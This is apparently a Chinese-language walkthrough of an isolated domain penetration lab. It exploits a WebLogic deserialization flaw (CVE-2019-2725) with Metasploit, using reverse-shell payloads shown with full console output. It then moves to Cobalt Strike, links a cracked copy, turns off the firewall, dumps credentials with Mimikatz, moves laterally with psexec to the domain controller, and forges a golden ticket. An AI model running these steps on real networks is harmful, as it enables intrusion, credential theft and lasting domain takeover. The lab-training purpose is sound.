目录
环境配置
环境说明
信息收集
Nmap进行端口探测
获得信息
漏洞检测
检测weblogic是否存在漏洞
漏洞利用
CS上线
连接到团队服务器
Windows连接
添加监听器
MSF派生shell
内网信息收集
内网渗透的简单思路
内网主机探活+端口扫描
Run Mimikatz
添加smb监听器
提权
横向提权
权限维持
环境配置
首先在VMware->编辑->虚拟网络编辑器里 更改子网ip为192.168.111.0
环境说明
- DC
IP:10.10.10.10
OS:Windows 2012
- WEB(初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX 登录进去)
IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
- PC
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7
- 攻击机
IP:192.168.111.128
OS:Kali
内网网段:10.10.10.0/24
DMZ网段:192.168.111.0/24
管理员账号密码:Administrator/1qaz@WSX
先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可。
信息收集
Nmap进行端口探测
由于防火墙的存在不能使用icmp包,所以使用syn包探测
nmap -sS -sV 192.168.111.80
-sS 使用SYN半开式扫描
-sV 探测服务版本信息
SYN扫描:nmap向服务器发送一个syn数据报文,如果侦测到端口开放并返回SYN-ACK响应报文,nmap立即中断此次连接
此外也可通过常用nmap用法进行端口探测
nmap -A -T4 -v -Pn 192.168.111.80
-A 进行全面扫描(操作系统检测、版本检测、脚本检测和跟踪路由)
-T4 设置时序,级别越高速度越快
-v 显示更加详细的信息
-Pn 无ping扫描
获得信息
中间件:IIS7.5
操作系统:Windows Server 2008 R2
数据库:SQL server (开启了1433端口,SQL server默认端口为1433)
80端口:常见web网站
139端口:对应Samba服务
445端口:对应SMB服务
3389端口:对应开启远程桌面
7001端口:对应存在WebLogic(WebLogic是一种免费的web容器)
漏洞检测
访问80端口
nothing at all,什么都没有
访问7001端口
看来存在业务
检测weblogic是否存在漏洞
这里利用github上一个weblogic漏洞检测工具——WeblogicScan
python3 WeblogicScan.py -u 192.168.111.80 -p 7001
存在cve-2017-10271、cve-2017-3506、cve-2019-2725、cve-2019-2729历史漏洞
漏洞利用
这里使用CVE-2019-2725(Weblogic反序列化漏洞)
CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。
打开msf,search cve-2019-2725
set rhosts 192.168.111.80
set lhosts 192.168.111.128
set target Windows
set payload windows/meterpreter/reverse_tcp
msf6 > use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
[*] Using configured payload cmd/unix/reverse_bashmsf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set rhosts 192.168.111.80
rhosts => 192.168.111.80
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set lhost 192.168.111.128
lhost => 192.168.111.128
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set target Windows
target => Windows
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > show options Module options (exploit/multi/misc/weblogic_deserialize_asyncresponseservice):Name Current Setting Required Description---- --------------- -------- -----------Proxies no A proxy chain of format type:host:port[,type:host:port][...]RHOSTS 192.168.111.80 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-MetasploitRPORT 7001 yes The target port (TCP)SSL false no Negotiate SSL/TLS for outgoing connectionsTARGETURI /_async/AsyncResponseService yes URL to AsyncResponseServiceVHOST no HTTP server virtual hostPayload options (windows/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)LHOST 192.168.111.128 yes The listen address (an interface may be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----1 Windowsmsf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > run[*] Started reverse TCP handler on 192.168.111.128:4444
[*] Generating payload...
[*] Sending payload...
[*] Sending stage (175174 bytes) to 192.168.111.80
[*] Meterpreter session 1 opened (192.168.111.128:4444 -> 192.168.111.80:65427 ) at 2022-02-25 07:33:38 -0500meterpreter >
漏洞利用成功!
CS上线
CS下载地址:cobalt strike4.4破解版下载|cs4.4|cobalt strike4.4 cracked - 🔰雨苁ℒ🔰
开启团队服务器(一般在Linux中使用)
./teamserver 服务器端IP地址 所设置的密码./teamserver 192.168.111.128 1234
连接到团队服务器
在Linux下,直接运行cobaltstrike.sh(若没有此文件可直接将.bat文件复制一份重命名为.sh文件即可)脚本文件,输入团队服务器的IP、密码和自己的用户名进行连接
点击Connect连接后,会有个提示信息,如果承认提示信息中的哈希值就是所要连接团队服务器的哈希值就点击Yes,随后即可打开CS客户端界面
在Windows下的连接方法也基本一致,直接双击cobaltstrike.bat文件,输入IP、密码、用户名,点击Connect即可
Windows连接
双击cobaltstrike.bat文件
添加监听器
cs客户端新建一个监听器listener
添加监听器
payload选择Beacon
Beacon类型的监听器应该是平时比较常用的
Beacon的类型
-
HTTP 和 HTTPS Beacon
HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。
windows/beacon_http/reverse_http windows/beacon_https/reverse_https
- DNS Beacon
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
- SMB Beacon
SMB Beacon也可以叫做pipe beacon
windows/beacon_smb/bind_pipe
HTTP地址为当前主机的地址,端口随意指定一个未被占用的端口即可
MSF派生shell
set session 1
使用上次的会话1set lhost 192.168.111.1
与客户端监听的IP对应set lport 7777
与客户端监听的Port对应set payload windows/meterpreter/reverse_http
设置http类型的payload,与客户端的payload beacon HTTP相对应set DisablePayloadHandler true
设置 DisablePayloadHandler 为 True,此选项会让 MSF 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉MSF说我们已经建立了监听器,不必再新建监听器了。
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > use exploit/windows/local/payload_inject
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set session 1
session => 1
msf6 exploit(windows/local/payload_inject) > set lhost 192.168.111.1
lhost => 192.168.111.1
msf6 exploit(windows/local/payload_inject) > set lport 7777
lport => 9090
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set DisablePayloadHandler true
msf6 exploit(windows/local/payload_inject) > show options Module options (exploit/windows/local/payload_inject):Name Current Setting Required Description---- --------------- -------- -----------AUTOUNHOOK false no Auto remove EDRs hooksPID 0 no Process Identifier to inject of process to inject payload. 0=New ProcessPPID 0 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)SESSION 1 yes The session to run this module onWAIT_UNHOOK 5 yes Seconds to wait for unhook to be executedPayload options (windows/meterpreter/reverse_http):Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)LHOST 192.168.111.1 yes The local listener hostnameLPORT 7777 yes The local listener portLURI no The HTTP Path**DisablePayloadHandler: True (no handler will be created!)**Exploit target:Id Name-- ----0 Windowsmsf6 exploit(windows/local/payload_inject) > run[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_sys_process_set_term_size
[*] Running module against WEB
[*] Spawned Notepad process 3428
[*] Injecting payload into 3428
[*] Preparing 'windows/meterpreter/reverse_http' for PID 3428
CS成功上线
内网信息收集
感觉这篇文章写的挺好的1.我所了解的内网渗透 - bmjoker - 博客园
内网渗透的简单思路
1.内网环境下先查看网络架构。例如 网段信息 域控 DNS服务器 时间服务器
2.收集到了足够多的信息可以扫一下开放端口,确定敏感信息,以及之后渗透的方向
3.通过以上信息进行一定的弱口令尝试,针对特定的软件做banner采集利用,snmp测试读取和写入权限
4.进行一些提权操作,从横向和纵向对目标服务器进行渗透。
6.进行敏感信息挖掘,内网密码收集嗅探,同时清除入侵足迹。
回到靶机上来,我们先判断所拿下的机器处于那个位置、区域,扮演什么角色、测试连通性
右键->会话交互
shell ipconfig /all ------ 查询本机IP段,所在域等
shell net config workstation ------ 当前登录域
shell netsh advfirewall set allprofiles state off ----- 关闭防火墙
shell net view /domain ------ 查询域列表
shell net view ------ 查询同一域内机器列表
shell net user /domain ------查询域内用户 #该命令在本环境中需要在system权限下执行
shell net group "domain admins" /domain ------ 查询域管理员
shell net group "domain controllers" /domain -----查询域控
内网主机探活+端口扫描
portscan 10.10.10.0/24
信息总结
发现内网网段:10.10.10.0/24
主机名:WEB
域:DE1AY
主DNS后缀:de1ay.com
DNS服务器:10.10.10.10
域控为DC:10.10.10.10
WEB/DC:开启445端口,对应SMB服务,可用来进行提权
Run Mimikatz
由于weblogic启动需要域管理员密码,而本台webserver2008存在内存明文密码的漏洞 故而可知域管理员账密 administrator/1qaz@WSX
添加smb监听器
因为前面DC和WEB都开启445端口,使用smb漏洞进行提权
提权
方法一:
方法二:
利用SQL server账号进行psexec传递
成功提升到系统权限
横向提权
设置psexec
psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。
工具栏->可视化->目标列表
横向提权成功!拿下域控!
权限维持
在域控获得KRBTGT账户NTLM密码哈希和SID
黄金票据利用
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。
黄金票据的条件要求:
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。
WEB机 Administrator 权限机器->右键->Access->Golden Ticket
这里注意域要填完整加上后缀.com